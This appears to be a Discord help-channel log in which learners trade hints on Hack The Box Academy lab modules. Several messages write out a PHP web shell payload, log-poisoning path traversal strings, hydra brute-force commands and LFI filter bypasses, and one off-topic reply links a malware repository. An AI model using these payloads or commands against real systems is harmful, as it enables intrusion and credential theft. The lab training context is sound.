modules

[placid quest]

@cunning oak dm

[rugged stag]

Bruteforcing Usernames: Anyone else having problems with the machine? I've re-spawned it several times, every time it stops working after about a minute or so.

[mellow nymph]

I have spent numerous hours and days on the Using Web Proxies - Repeating Web Requests section and cannot figure out what they want me to input for the answer for the second flag. I have completed the entire rest of this module and have a complete understanding. I just dont know what they want inputted as the answer. Can somebody help me out please?

[long plover]

hello

what i'm doing bad??

[autumn pilot]

not starting the target and not ssh into it

[long plover]

Solved

i have other question

i have like 1:30 hours try in comands

like simplehttpserver

but i can't find what command is

i do manually the http server but can't find the command

[hollow hinge]

https://www.npmjs.com/package/http-server

[long plover]

i saw this page before

and try in commands that i see but not work it

[hollow hinge]

Better look at cheatsheet then

And hints also

[long plover]

have a bug

i can't see the hint

and the cheatsheet

idk what happend

SOLVED

thanks @hollow hinge

[bitter scaffold]

Hey

I hv just started with this thing

And i dont know how to connect the ovpn file

Can anyone help pls

[shadow willow]

can it be that https://academy.hackthebox.com/module/17/section/64 is bugged?
the whole module revolves around wordpress but when i go to the target i don't find wordpress

[vivid ember]

Guys can I play hack box even if I have started to learn python day ago ? Or I need to know just kali? I mean the unix itself kali

And is there a real hacking process and nothing fake created? Like Mario the story ?

[shadow willow]

I would say you can just try it 🙂
If you realize that you are not quite there with the knowledge, you can register in the hack the box academy: https://academy.hackthebox.com/dashboard

[vivid ember]

Thx bro

Is that for free?

Because I really want to become a hacker

I learn unix I learn python and will start to learn html

[shadow willow]

No but it is very good 😄

sometimes you hang here and there like me now xD
but the learning effect is very good

[vivid ember]

Nah I cannot pay cuz my card is blocked

Anyway thx

[vital adder]

hint the wordpress isn't in that domain

[shadow willow]

what ?

subdomain?

[vital adder]

if you are new to this watch this to know how to be come a hacker also where you can get free stuff https://www.youtube.com/watch?v=lhz0-qAQlBM

[vital adder]

||yep||

[shadow willow]

||god damn !||

[vital adder]

but you need to find the right domain first

[shadow willow]

well .. how ? 😄

[acoustic owl]

Take a closer look at the source code of the website 😉

[shadow willow]

ah i found the url .. overthinking

[copper creek]

anyone for a nudge on the file upload attacks skills assessment? i can't find the upload path

[rustic sage]

.

[copper creek]

u mean of ||script.js||?

[brave prawn]

Hey, currently in Attacking Common Services/SMTP Attacks, found user m, trying to bruteforce with provided list and rockyou.txt, but nothing. Is bruteforcing is correct way to get password of found user?

[vital adder]

yes that's the right way but did you use the full mail address?

[vital adder]

nope that that file named ||upload.php||

[brave prawn]

ohh, got it. thanks

[copper creek]

tried that but I can't get to read it

[vital adder]

try with ||base64||

[mellow turtle]

@copper creek Mb i was thinking on File Inclusion module

[copper creek]

can i dm u?

[vital adder]

sure

[mellow nymph]

I have spent numerous hours and days on the Using Web Proxies - Repeating Web Requests section and cannot figure out what they want me to input for the answer for the second flag. I have completed the entire rest of this module and have a complete understanding. I just dont know what they want inputted as the answer.

[mellow turtle]

@mellow nymph the flag

it starts with HTB

[vital adder]

the flag is at / so try to cat flag.txt

[mellow turtle]

noo dont paste here the flag

thats a spoiler :/

[pseudo sparrow]

how can i get started?

[vital adder]

hi pls delete this you can't put htb academy flag in to discord some admin or mod will remind you about this

[mellow nymph]

ok sorry

[cyan arch]

it's fine , just delete the msg

[vital adder]

to started with htb academy try this https://academy.hackthebox.com/module/details/15 or with hacking in general try this https://www.youtube.com/watch?v=lhz0-qAQlBM

[crystal mulch]

Hello great guys ?,i am new here, just starting a cyber security career any help and tips pls😫 🙏 🙏 🙏 ,best guide line, pls need menthorship too thanks

[vital adder]

my message is right on top of your

[arctic acorn]

I need some help with the final host of the live engagement of shells and payloads. I assume I need to disable smth on the machine so that blue can work, but my shell keeps on crashing, forcing a restart of the whole environment. Any tips on how to make a more stable shell or a different method would be appreciated.

[lethal atlas]

you dont need to do anything but run the correct exploit.

[slender crystal]

Hello, I'm new.. does anyone has the software download for the flipper zero?

[mellow turtle]

I just google it, thats nice but i think we dont use it here

[raven cairn]

Never ever heard of this tool.

[raven cairn]

Maybe on there website? https://flipperzero.one

[vital adder]

hak5 have better stuff

[raven cairn]

Some of the hak5 stuff you can build yourself tho

Im not paying 60$ for a rubber ducky

[vital adder]

me too 🤣

[raven cairn]

This flipper zero tool seems kinda cool tho ngl

[arctic acorn]

Thanks for the hint, was able to get the flag.

[vital adder]

if you are just looking for the software i think you can download it on their github https://github.com/flipperdevices

[west canopy]

i dunno man , i have a cheap little digistump board that i can write to with arduino software and i have literally never gotten a payload to work properly. At least the ducky actually works right?

[raven cairn]

Tru. I don’t know how good the quality is, but I like the idea and dolphins are cute

[slender crystal]

Thanks everyone

[lethal atlas]

I bought some boards and 4 of the 5 were DOA. The 5th one tho works and I have used it to grab wifi passwords. Have been trying to get a keylogger to work but cant seem to get it to work so far.

[raven cairn]

I need to buy me some hardware tools

Open for recommendations

[west canopy]

same here

i need to buy some networking equipment and a server rack

[raven cairn]

I literally just got a server for free bruh

No joke

[west canopy]

nice

[raven cairn]

Decent specs too

[west canopy]

i dont even want a working server or networking equipment

its just for appearance

while i use my windows laptop connected to home wifi

basically if you are trying to be a security professional

and you dont have a server rack or random pieces of networking equipment all over your house

you are doing it wrong

[snow mirage]

Im having a problem understanding how to complete the skill assessment of the Windows Fund. module. Im currently done with all the questions but I am trying to complete the other steps for better practice

I cant seem to "find" the default group that needs to be removed when adding HR to the folder Company Data it doesn't show the default group

And when I thought I did, I went to the disable inheritance step and my HR group has an enumeration error of permissions in its container

[west canopy]

isn't the default group ||Everyone|| ?

[snow mirage]

O xD

I feel dumb now shkshkshk

[iron river]

gawd, the File inclusion skills assessment RCE keeps breaking

[cyan parrot]

anyone around who can help with a nudge on Broken Auth Skills assessment? I'm stuck on getting the admin panel.

[vital adder]

for the last RCE part use single quotes instead of double quotes for your payload

[vital adder]

if you are on the ||support|| user that isn't the admin user also there are no admin panel the flag i think is in the profile page

[cyan parrot]

@vital adder mind if I DM you?

[vital adder]

sure

[flat silo]

hey guys I'm new. I'm stuck on responder evil-winrm is throwing an error about my python path not being complete. I've uninstalled and reinstalled it a few times still no luck. I did read something that talked about going into the source code deleting a line and that worked before i went through that i was hoping someone may have some advice. I'm also getting a 502 error for Three when i use gobuster to find the s3 bucket. I'm wondering why and how can i get around it? I've tried to reset the machines and I've gone as far as to restore my kali image to an original snapshot. Any advice on these issues would be appreciated thank you.

[iron river]

hmm, it becomes irresponsive when i use single quote

[vital adder]

which mudole and section?

[flat silo]

its in starting point tier 1 i may be in the wrong chat for help if i am i apoligize

[vital adder]

try this payload ||<?php system($_GET['cmd']); ?>||

[iron river]

thats the payload that i used and then with this

..//..//..//..//..//..//..//..//..//..//var/log/nginx/"hidden".log&cmd=id

[vital adder]

i didn't use ..// but if that work i don't think that is an issue but you are using the wrong log file

[iron river]

let me dm you

[vital adder]

sure

[hardy anchor]

Hey. I'm in the module "shells and payloads" at "The Live Engagement" and I'm having problems with Eternal blu exploit i need to use to solve this question:
Exploit and gain a shell session with Host-3. Then submit the contents of C:\Users\Administrator\Desktop\Skills-flag.txt

Someone did this?

[vital adder]

if you use the right exploit you should get a rev shell and you can get the flag from there if you can't get that work there is an exploit that let you run 1 command you can use that to read the flag

[hardy anchor]

I'm usign eternal blue exploits in metasploit but it isn't working. Can you give me 1 hint about the command you are talking?

[vital adder]

that is an exploit not a command and exploit is ||ms17_010_command|| also what exploit did you use for the eternal blue

[hardy anchor]

Thanks MRtom

[fading bough]

how to activated win 11

how to hack gmail

for recovery purposes

and to get rit of the secret goverment service

hihihihihihihi

and how to protect the computer from hackers

[shadow willow]

you are your anti virus

[fading bough]

anti virus are usesless againts hackers

this ones dont care about anti virus

[raven cairn]

Download the programs from here and run https://github.com/ytisf/theZoo

This can help you hack gmail 😱

[fading bough]

oh thanks

i will try it to recover my gmail

to play league of legends

[vital adder]

@fading bough here is the answer for all of your question, pls don't share this every 3 letter government agencies are looking for this

绝不会放弃你
永远不会让你失望
永远不会跑来跑去抛弃你
永远不会让你哭泣
永远不会说再见
永远不会说谎伤害你

絕不會放棄你
永遠不會讓你失望
永遠不會跑來跑去拋棄你
永遠不會讓你哭泣
永遠不會說再見
永遠不會說謊傷害你

[fading bough]

one of the leader of anonymous need help from other to hack gmail

[shadow willow]

haha

[raven cairn]

Can’t tell if this is trolling or serious haha

[fading bough]

the police deparment hackers made anonymous

and also they made the discord app

well my englist is petty bad

[shadow willow]

yeah

[fading bough]

i will try read this guys to improve my english

[raven cairn]

I am vice leader of anonymous

[raven cairn]

Your english is good

English is super difficult haha

[fading bough]

to avoid hackers you have to make you own operate system

[vital adder]

no use UwUntu

[fading bough]

and you own programing language

[shadow willow]

iam the owner from Arch
Written in python

[brave prawn]

Can I dm someone about Attacking Common Services Lab Easy? Found creds, but then stucked

[fading bough]

i want to live forever

but i need help from others people

to make the machine that make you live forever

[shadow willow]

here you are right

[mellow turtle]

._.

[fading bough]

so i have to make people want to live forever

so other start to work on the project of living forever

in the future people will be able to leave forever

[vital adder]

sure feel free to dm me if you still stuck with that

[fading bough]

blackbear i am luffy

the real one

one piece is my life story

[shadow willow]

I've never watched one piece

xD

[fading bough]

good for you

is a waste of time

i waste my life on the first chats room ever created

xat.com

[vital adder]

use TempleOS that was make a custom programing language named holy C both make buy a cazy talented programer that believed god have chosen him to buil this

[fading bough]

terry a david

a bet that no one can hack that os

[raven cairn]

One piece is hype

Wano arc is awesome so far

Also stop spamming this channel Lmfao

[fading bough]

discord is the son of those chats rooms

thoses are the first chats rooms ever created

[rustic sage]

pls sent my the link for dowlaod the noescape.exe

no troll

[fading bough]

terry was my teacher

but i hate to study

so i am his worst student

[rustic sage]

pls sent my the link for dowlaod the noescape.exe
no troll

[fading bough]

is noescape a photo editing app?

[rustic sage]

no

virus

[fading bough]

my pc cant handle more virus so i cant risk my self of getting that virus

[rustic sage]

ok

[red obsidian]

https://lmgtfy.com?q=7

[fading bough]

well let me keep trying to learn programming

so i can get a job

after ten years of trying

i am finally usdestading it

i believe that i am haft way of learning C#

[shadow willow]

we belive

[fading bough]

https://imgur.com/a/FtjlKGs

i am learning making app and wacthing yuotube tutorias

so to live forever before i die

i need at least 10 millios of people working it living forever

i problably have to make posters and put them on the street

..... a virus is a program

just sharing my knowledge to pay others for helping me

the serie mr robot might be helpful for beginers

i am mr robot too.....

i will try to make a bot for discord i might made 10 dollars

each month

and hopefully no one try to hack a bank

is a very bad idea

zero days hunter is a better idea

now days the police can find you without any informaction

https://tenor.com/view/hi-silly-crazy-emoji-gif-23876320

...........

i want to live forever

[autumn pilot]

please keep it on topic with the channels name

stop with the nonsense

[fading bough]

i will try to improve my writin

writing

but i need help to live a longer life

[autumn pilot]

wrong server then

[fading bough]

i need smart guys helping me

here we have some smarts gays

[autumn pilot]

step aside from the keyboard and take a break

next nonsense that you paste will result in a kick

[fading bough]

the last mod who hate me and kicked me appeared death..............

and here we go

[autumn pilot]

++kick @fading bough

[fading bough]

1.5 billio again

[little whale]

programmerx got the boot!

[vital adder]

hi dpgg while you here there is a guy posting a flag about some module i did tell him to remove that but he didn't so can you remove that?

#modules message

[raven cairn]

🤣

[fading bough]

dpgg did the 911

[night pier]

Can anyone give me a hint on active directory skills assessment 2. Trying to grab the flag on sql01. I have xp_cmdshell going but no access to admin user

[fading bough]

he hacked the plane

spooner you should also try to live 10 000 years

or live forever

[little whale]

@fading bough (1015286483646697592) has been muted for 10h.

[tender dawn]

where can i learn to be a script kiddie

[jade pendant]

Hi

[summer lava]

@jade pendant HI

[jade pendant]

What's up

[vale salmon]

Okay, I'm having a really weird issue. I am working on Attacking Common Services: Easy Lab. I found a user name for the ||smtp|| server. I am using hydra to try and brute-force the password using rockyou.txt on ||pop3||. Everytime I do, though, be it my attack box or the Pwnbox, hydra starts running, then after a moment, outputs a C and then freezes up. I end up having to terminate hydra with Ctrl-C. Am I the only one who has had this issue? This only seems to happen with that particular protocol. Nvm. I'm dumb. I was trying to use a protocol I didn't have an open port for.

[delicate osprey]

Hello. Any help for module Secure coding 101 javascript question :

On '/Reverse' you will find an obfuscated JavaScript code, but it appears to be broken, and doesn't return the flag! Try to reverse it to understand how it should be working, and fix it to get the flag.

thanks

[mystic fern]

Is there a discord group for tryhackme ?

[vale salmon]

Okay, so for Attacking Common Services: Easy Lab, I have full credentials, but I'm not sure what direction to go to from here. Any nudges?

[west canopy]

@vale salmon try to ||write a php shell into the xampp webroot .... there are two ways to do it !||

[vale salmon]

Ahhh, thanks

[rigid minnow]

Could some one tell me what command to use to get to the root server

[west canopy]

wish i could help dawg , i'm still stuck on custom decoder T__T

[vale salmon]

Okay, so on the Attacking Common Services: Easy Lab, I'm having trouble figuring out how to ||upload my reverse shell to C:\xampp\htdocs||. I've tried a few methods with no luck. Also, my target keeps running out of time at a rapid speed, which is odd and annoying.

[west canopy]

are you trying to do it through ||sql or core ftp?||

[vale salmon]

I was trying with ||ftp||, but it takes forever to get a response from the server and it won't let me cd out of the directory it drops me in. Is ||sql|| a better option?

[west canopy]

eh , different way to skin a cat

[vale salmon]

Mind if I dm?

[west canopy]

sure

[timber light]

hi can anyone help me with Firewall and IDS/IPS Evasion - Medium Lab. kinda lost Solved. Thanks those that helped.

[lethal atlas]

Where are you stuck at

[timber light]

Managed to get a list of ports, but only ||53 ||and ||445 ||is filtered. But unable to retrieve the version needed

[lethal atlas]

What script did you try?

[timber light]

tried with sV option

[lethal atlas]

DM me

[rugged stag]

Predictable Reset Token (Broken Authentication module): Someone could give me a nudge? I think I know what they want, but spent hours on it and still doesn't work. Just want to see if my approach is good or way off.

[languid dawn]

Don't advertise here, it's against our rules. Thanks.

[feral stump]

hey! anyone can help with Information Gathering - Web edition / Active subdomain enumeration section?

thanks!

[acoustic owl]

Feel free to DM me

Did you find the solution?

[shadow orbit]

Hi I have problems with ATTACKING COMMON SERVICES -> Attacking Common Services - Hard module. I can login via RDP using F*** user, howver I can not login into MSSQL server. I have tried via management studio and via sqlcmd. I tried with command as "sqlcmd -S WINSRV02 -U F+++ -P '+++' -y 30 -Y 30" but no success

[delicate osprey]

I can help you if you want 🙂

[delicate osprey]

nobody find the flag ?

[clear bough]

hi everybody, i'm stuck in File Upload Attack module on Limited File Uploads , on question 1 : "The above exercise contains an upload functionality that should be secure against arbitrary file uploads. Try to exploit it using one of the attacks shown in this section to read "/flag.txt"" .... i've tryed all payload but the app don't display anything .... any help??

[drowsy cobalt]

Which flag?

[delicate osprey]

The last 2 flags for secure coding 101 JavaScript.

[drowsy cobalt]

ok, i get it

[rugged stag]

Have you been able to solve it (Bruteforcing cookies, 1st question). I decoded the cookie and changed it, but it doesn't work. Would like to know if I'm missing anything here.

[stray grove]

I used sqsh to access the MSSQL server with this command ||sqsh -S <target IP> -U .\\f**** -P <password> -h ||

[quick plaza]

hi, I'm going through the knowledge check in getting started module but I'm stuck at exploiting getsimple cms. it seems that the server is somehow dropping all POST requests - I'm not able to edit the theme to include reverse shell php code, same thing is happening when I use metasploit with RCE exploit. just getting no response at all from the server. the file upload button is not working as well. did someone have the same problem? I've seen one person mentioning it in the forums but they got no response to this. EDIT: it seems that it's a bug when working from Parrot OS VM, it works fine with pwnbox. I'll report it in #858470491676737536

[north marten]

better command is ||never gonna give you up never gonna let you down||

[west canopy]

Haha thanks bud! I think I have read the section over like four times, I have the JS unpacked and have renamed all the variables so that my code matches the examples. But i honestly just don't understand what i am supposed to do to "use" the decoder and produce the answer, Am i supposed to use the console in the browser tools or something?

[swift dune]

Heyy all,
I am stuck at Predictable Reset Token question 1. I modified the script for the proper timezone and user but still is not working. If anyone could give me some help it's going to be great.
10x in advance

[north marten]

try this ||never gonna give you up never gonna let you down||

[limpid plover]

Hi guys. How much I will pay in total for the Junior Pentester path?

[vital adder]

that info is on the path Cubes Required: 1970

[limpid plover]

Thank's. Still learning enumeration 😅

[rustic sage]

hello i am stuck at end of module USING WEB PROXIES

[rapid wing]

hello everyone, nice to meet you, i've just graduated from highschool in it science, i'd love to work one day as ethical hacker, and so i just sign up on htb academy. I'm actually a fullstack developer and i know networking pretty good but Im new into cybersecurity field, do you guys have some tips, even youtube channels or also other sites that could help me learning? Thank you very much

[rustic sage]

i need to know how to fuzz the words together and output it in a file

for example (word) would be milk - and (letters.txt) would be a-z, then output it (word_letters.txt) would be milka milkb milkc milkd...

i know ffuf can do it, but i really can't find anything today

[rustic sage]

i'd recommend hackersploit on youtube

[rapid wing]

thank you, do you raccomend more htb academy or tryhackme for a newbie? i would like to use both but idk actually 🙂

[vital adder]

if you have some developer experience and know a good bit about networking then you already have a good foundation here check this video to see what you are missing then you are good to go https://www.youtube.com/watch?v=lhz0-qAQlBM

[vital adder]

i would recommend tryhackme it's more beginner friendly

[vital adder]

question 3 in the Skills Assessment?

[rapid wing]

ok, thank you very much, im gonna check that too

[vital adder]

if you are on the Skills Assessment you also need to encode the word and i don't know if ffuf can do that (no idea didn't use that tool much) i'll recommend burp for that

[clear bough]

any hint?

[night pier]

Any hints on how to get to MS01 on the Active Directory skills assessment 2? I'm running printspoofer from SQL01 but not sure how to leverage that to get over to MS01. From chat history, lazagne isn't dumping any passwords

[vital adder]

after upload your payload check the web source code

[west canopy]

try getting|| a system level shell on SQL01 and then run lazagne... we should be able to find creds for a user with local admin rights for MS01||

[clear bough]

oh thanks , i'm looking in the wrong directory

[little burrow]

hi everyone , how to bypass LFI filter ".." string ?

[west canopy]

@little burrow you could try four dots and two slashes 😉

[little burrow]

@west canopy yep , but not work with me 😦 , filter code look like "||<?php
if(!isset($_GET['page'])) {
include "main.php";
}
else {
$page = $_GET['page'];
if (strpos($page, "..") !== false) {
include "error.php";
}
else {
include $page . ".php";
}
}
?>||"

[little burrow]

I tried to RCE LFI by poisoning logs at ||/var/log/nginx/access.log&cmd=id|| with user-agent = "<?php system($_GET["cmd"]); ?>" but without success , can anyone suggest me ?

[rustic sage]

I dont know ur situation but took me many tries too xD

[little burrow]

😢

[copper creek]

anyone else get flag4 before flag3 on linux privesc skills assessment? 😂

[clear orbit]

I am in the module "getting started". and in one of the sections I have to get a banner of the server. I connected to the ssh and used netcat
but it doesn't work
after a little bit, it says timeout

Anyone help?

[shut orchid]

someone send me a virus

[vale salmon]

On the Attacking Common Services: Medium Lab, should I use the provided users.list or a list from SecLists?

[shut orchid]

someone steal my discord by link

someone send me a link to steal my discord

[vale salmon]

Contact Discord Support if you think someone hacked your Discord.

[shut orchid]

@vale salmondo you want to invade my discord?

[vale salmon]

No, I have my own Discord account.

[shut orchid]

please

@vale salmonyou are my friend now

[vale salmon]

@shut orchid No, and I will block you if you persist

[spark vector]

Hello everyone, I'm trying to crack a private ssh key, but I would like some guidance. I tried to ssh2john (ssh2john id_rsa > id_rsa.hash) to convert it to a hash, but I get this message "id_rsa has no password!" Any pointers on leveraging an SSH private key?

[shut orchid]

михо.rwr

[vale salmon]

@spark vector What module are you working on?

[spark vector]

@vale salmon Footprinting Lab - Hard

[shut orchid]

@vale salmonyou are 25 years? old you are very humble😀

I'm making pizza

😝

[vale salmon]

@spark vector I can't remember for certain, but if you have the username associated with that id_rsa, you should just be able to ssh in with it using ssh -i id_rsa <username>@<target ip>

[shut orchid]

what a wonderful dialogue

jansefpyder-magdielcrhis-jamesbap-

@spark vectorcan you create a bank account for me to save money?

[spark vector]

@vale salmon Thank you. I tried that, but I think I have the wrong username. I'll keep enumerating. I get this when I run ssh
Load key "id_rsa": invalid format
USERNAME@TARGET IP: Permission denied (publickey).

[vale salmon]

Yeah, you may have the incorrect user. It's been awhile since I did that one, sorry.

[shut orchid]

what is this server doing🤨

[spark vector]

@vale salmon Don't sweat it. Thanks for the reply.

[vale salmon]

Sure thing!

[stray grove]

if you got the key already for the user ||t**||, you need to assign it the right permission using ||chmod 600 id_rsa|| then you can use it to ssh the box

[spark vector]

I tried this but I get this:
ssh -i id_rsa t**@TARGET IP
Load key "id_rsa": invalid format
t**@TARGET IP: Permission denied (publickey).

[shut orchid]

@stray grovecreate a paypal account for me

[spark vector]

@stray grove I think it might be the username because if I use a different username I get prompted for a password. I still get the invalid format though

[stray grove]

the username start with t, if you did an snmpwalk enum you'll find some credential. you need to enumerate snmp service first

[spark vector]

@stray grove Did that. I got the password.

If I use ssh t@target IP, I get the invalid format and Permissions denied. But, If I use b@target IP, I get the invalid format and it prompts me for a password.

[stray grove]

did you get the key using the credential you got from running snmpwalk after logging into the ||imap service||?

[spark vector]

Yes

[stray grove]

then check the key, must have some blank spaces in it...open it using sublime

[spark vector]

@stray grove Now I have to know what sublime is 🙂

[stray grove]

it's a text editor, if you're using pwnbox it's on the taskbar

[stray grove]

both won't help you on that one, you need to run a full scan and enumerate ||the last port found open||

[spark vector]

@stray grove That was it! When I copied the SSH key locally, there were white spaces all over it. Cleaned it up and now SSH is working. Thank you.

[lyric echo]

Hey yall! Can someone help me with the File Inclusion Assessment? All LFI attempts I am trying is only returning 'Invalid Input Detected'

[lyric echo]

Hey yall! Can someone help me with the File Inclusion Assessment? All LFI attempts I am trying is only returning 'Invalid Input Detected'

[vale salmon]

So I found port ||30021||, but when I use nmap on that specific port, I get ||Invalid Command: try being more creative||. When I use the ||ftp-brute script||, I find no valid accounts. I'm sure I'm missing something. Could I possibly get a nudge?

[frozen atlas]

Can anyone teach me also?

[vital adder]

try to read the ||index|| file (not by view source)

[bronze flare]

Can someone help me with the ffuf skills assessment? I’ve been at it for a month, but for some reason, my ffuf doesn’t return an important result for me.

[vital adder]

that have ||anonymous login|| why didn't you try that first

[vital adder]

which question?

[bronze flare]

The third fourth and fifth questions.

[vale salmon]

Eh, I didn't realize it had an ||Anon login||. Usually nmap mentions that, but it didn't this time.

[vital adder]

oh i think you need to use a deep scan for that i use -A

[bronze flare]

You might be asking yourself: why is a pro-hacker here asking for help on a beginner module?

[vale salmon]

Ahhh, right, I'll add that to my flags for next time

[vale salmon]

You are definitely not the first. 🙂

[vital adder]

you don't know what you don't know and that's fine

i need help with a lot of dumb stuff here and finished like 400 room on tryhackme and i'm still dumb

[bronze flare]

Even ippsec had to ask 0xdf for help while doing the fingerprint box.

I remember he said that in the video writeup he did for that box.

[vale salmon]

Yep. We all have gaps to fill in, constantly

[vital adder]

oh sorry i didn't see this but you need spam restart it a few time if ffuf can't find it, some one show me this trick and i also have this issue the first time i do that part

[vale salmon]

Yeah, I had the same issue with that one

[bronze flare]

maybe it’s the command I’m running? Can I post it publicly or do I have to drop into a DM for that?

Or with a spoiler flag?

[vital adder]

if it's just the command i think it's fine because you didn't find anything with that also spoiler tag

oh and for the ffuf scan try the extensions you found from the ||second question||

[bronze flare]

||ffuf -u http://test.academy.htb:PORT/ -w ~/SecLists/Discovery/Web-Content/raft-small-words.txt -e php,phps,php7||

And I do that for all three virtual hosts

I even tried matching regex for the page content mentioned in the third question, but nope.

[vital adder]

oh you are on the wrong ||virtual hosts|| in this commmand also the page you need to find is in a ||directory|| so you need find that first and the page you need is in that

[bronze flare]

I forgot to include the recursion part, because I’m running it with recursion depth 3.

[vital adder]

and no idea if this help but i use ||directory-list-2.3-small.txt||

[bronze flare]

Tried different wordlists, and I used that one.

I do find that directory. Maybe I need to not use recursive mode once I find it?

[vital adder]

maybe not sure but try that

[bronze flare]

but maybe the reset trick works.

What do I do? Send a bunch of RST packets to the host? That won’t help much.

[vital adder]

try this first if you ffuf still can't find it shoot me a dm i'll help you troubleshoot

[bronze flare]

I’ll try later. Thanks for the advice.

[vital adder]

i just try your command the ||-e|| is not working for me for some reason if i test it individually like ||/FUZZ.php69|| then it work also i have to do the reset thing

[bronze flare]

||I think I have to use dots: .php,.phps,.php7||

[vital adder]

just try that's also is not working for me

[mystic storm]

https://cdn.discordapp.com/attachments/747480907426037881/1015786189111967864/unknown.png

https://cdn.discordapp.com/attachments/747480907426037881/1015786189111967864/unknown.png

[lyric echo]

Hey.. Thanks! I have access to the admin portal and have now been stuck on how to view the root dir. I can view etc/passwd, etc..

[vale salmon]

For Attacking Common Services: Hard Lab, should I be using the pws.list provided or rockyou, or something different? Nvm

[vale salmon]

Okay, I'm stuck. I have credentials for ||fiona|| and can ||RDP|| in with her, but I can't figure out how to grab ||John's|| password (or Admin Credentials)

[hollow thunder]

can i dm you about easy real quick

[vale salmon]

Sure

[raven storm]

I've been working on the medium and hard labs at the same time as you, and I'm finally in a place to help! So, now that you have ||fiona's credentials||, you can ||RDP|| as that user. From there, you don't need to get ||John's credentials||, instead take a look at ||sqlcmd|| and enumerate from there.

[vale salmon]

Ah-hah! Thanks!

[vale salmon]

Mind if I DM real quick?

[raven storm]

Sure

[vital pike]

why do I have access only to the academy channels ?

[hollow hinge]

Dm if you need help with ffuf module

[balmy moon]

Good morning everyone!

Has anyone done the Footprinting Lab and found the creds without the hint?

I was wondering how to get the creds without the hint.

[feral stump]

Which lab level?

[balmy moon]

Oooops sorry the Easy. The hint showed the username and password, but I would like to know how they got that.

[feral stump]

Yup… haven’t tried to find the creds to be honest

It is though for ssh

[balmy moon]

No worries, moved on to the Medium lab, but if anyone wants to share insight on how to do that lab withoug the Hint, please do!!

[feral stump]

Feel free to dm me if you need help

On the medium and hard labs

[balmy moon]

Awesome thanks!

[leaden abyss]

I'm stuck on this one too. ||I've done a ton of enumerating in the different directories|| ||(HTB hint says the other flag is in a different directory) ||and I just can't anything that looks like a flag.

Are you still stuck on this?

[balmy moon]

Can anyone give me advice on how to crack the Techsupport folder on a NFS share. (Footprinting/Lab-Medium)

[brave prawn]

Hey, need help with Attacking Common Services Medium Lab. Found a username, but bruteforcing make no results. Can someone give a hint? Thanks

[rugged stag]

Which section?

[shadow willow]

iam sure it must be "AV"

[acoustic owl]

If you found a username, surely you found a note, right?

[acoustic owl]

You don't have to crack the NFS drive.
You can simply mount the drive and then access the folder.

[brave prawn]

yeah, but permission denied to download or read this file

[acoustic owl]

DM

[proud wind]

Hey wanna die

@acoustic owl angry ribbet

<@&817153850845823057>

We got spammer

in the house

hey o mods

we got spammer

and a alt account

THERES A ALT!

i knew it

MODS BAN THE ALT

CAN I HAVE MOD PLS

[brave prawn]

Can I DM someone about Attacking Common Services Hard Lab?

[acoustic owl]

Sure, go ahead

[mossy epoch]

Hi, I am stuck on the Stack-Based OVerflow Linux x86 Skill Assignment. I got a working shellcode with read_file exploit but it doesn't work. Any hint?

[little burrow]

i have trouble with target server in Skills Assessment - File Inclusion , It only works for about a minute and it can't load 😦

https://academy.hackthebox.com/module/23/section/513

[mellow turtle]

I can help u, dm me

I'm having a problem with Hacking Wordpress - Skills Assesment can somebody help me?

[vale salmon]

||So on Attacking Common Services: Hard, I am beating my head against the wall. SQL is not my strong suite. I've found the linked server and even found the testadmin, but I can't impersonate it and can't otherwise figure what to do from here. This lab is driving me nuts.||

[vital adder]

don't nuts and if you still have issue with that feel free to dm me

[west canopy]

Hello friends

[foggy stirrup]

need some help, dunno where to find the cleartext creds for the ||tpetty|| user in the AD enum and attackse module skill assessment part 1

oh wait

might have an idea

[foggy stirrup]

oh got it

:D

[brave prawn]

can I DM you?

[vital adder]

sure

[pine dagger]

Hello! I must be over thinking things. For Attacking Common Services Easy, I've found an ||email account||, but can't seem to figure out the password. Am I barking up the wrong tree? Just looking for a pointer to get started as I've tried looking at the ||ftp, rdp, and sql|| services but no luck.

[vital adder]

use you use hydra to get the password but remember to use the ||mail address|| for the username

yay 🥳

[acoustic owl]

Congrats 🎉

[foggy stirrup]

reeee im tryna speedrun AD enum and atks

on day 4 rn tryna get that last section

skill assessment II

[vital adder]

i got like 7 module left on the pentest path but i procrastinate so much that i finished the bug bounty path first

[pine dagger]

I tried that. None of the services came back with anything. I'm using the pws.list from the resources. Should I expand?

[vital adder]

use ||rockyou|| also try with the ||smtp||

[rustic sage]

Hi would anyone be able to help me with the Login Brute Forcing: Skills Assessment - Service Login Section I have found the user :||harry|| a have attempted to brute force the login multiple times and tried using the forums tips and still no luck?

[vital adder]

generate a wordlist for that user and filter the password that meet the requirements

[pine dagger]

😑 finally. I knew there must be a fairly obvious thing I was missing. I'd tried that, but not with that particular combination of service, and lists.

Thank you ❤️

[rustic sage]

Thanks for the quick reply, I have done that with username anarchy and cupp. the options in cupp I would input is Firstname: ||Harry||, Special Chars✅ ,Leet Mode☑️ and then would use the commands 1. sed -ri '/^.{,7}$/d' <file> 2. sed -ri '/[0-9]+/!d' <file> 3. sed -ri '/[!-/:-@[-`{-~]+/!d' <file>

the regrexes here may be slightly off as I had to hand type them from my vm

[vital adder]

i have no idea on how to use sed but it look right but for my filter command i filter from ||8 not 7 character|| and for cupp part you are almost right just missing one thing

i can't remember but i think that is the next to to firstname

[rustic sage]

Surname?

[vital adder]

yep that one

[rustic sage]

so use ||Potter|| I have tried it before but ill give it one more run and get back to you

also does case matter?

in cupp

[vital adder]

i think so but you are using the right one

[median bison]

So I am doing the Nibble box/module, and my VPN keeps disconnecting, it doesnt say its disconnected but I have a 100% packet loss, I have restarted the VPN, my laptop and everything else I could think of. Anyone have any advice? Thanks!

[vital adder]

are your pwnbox on?

[median bison]

I am using the VPN and using a personal machine

[vital adder]

having both pwnbox and your vpn on is usually is cause of your issue but if you pwnbox isn't on then i have no idea try asking this in #613049811481919508

[median bison]

Alright will do, thanks!

[rustic sage]

hey unfortunatley still no luck

even without filtering just in case my regrex is messed up and accidently getting rid of the correct passwd

[vital adder]

i just try your sed filter command and it's working fine also are you brute forcing ||ssh||?

[rustic sage]

yes just in case im stupid I will type out my cmd here

hydra -L username-anarchy/username -p||harry.txt|| -u -f ssh://IP:PORT -t 4

[vital adder]

yep that's the right command

[rustic sage]

Huh i dont get what the issue is and when you tested cupp it was the same as I specified?

[vital adder]

yep for the last Y/N in cupp i use Y for the last ||3||

shoot me a dm i'll help you troubleshoot

[rustic sage]

sure let me try using Y for the last ||3|| and then I will let you know since I was only using 2 before

[carmine lark]

Hi all.
I am stuck on the last question of SQLi before the skills assessment.
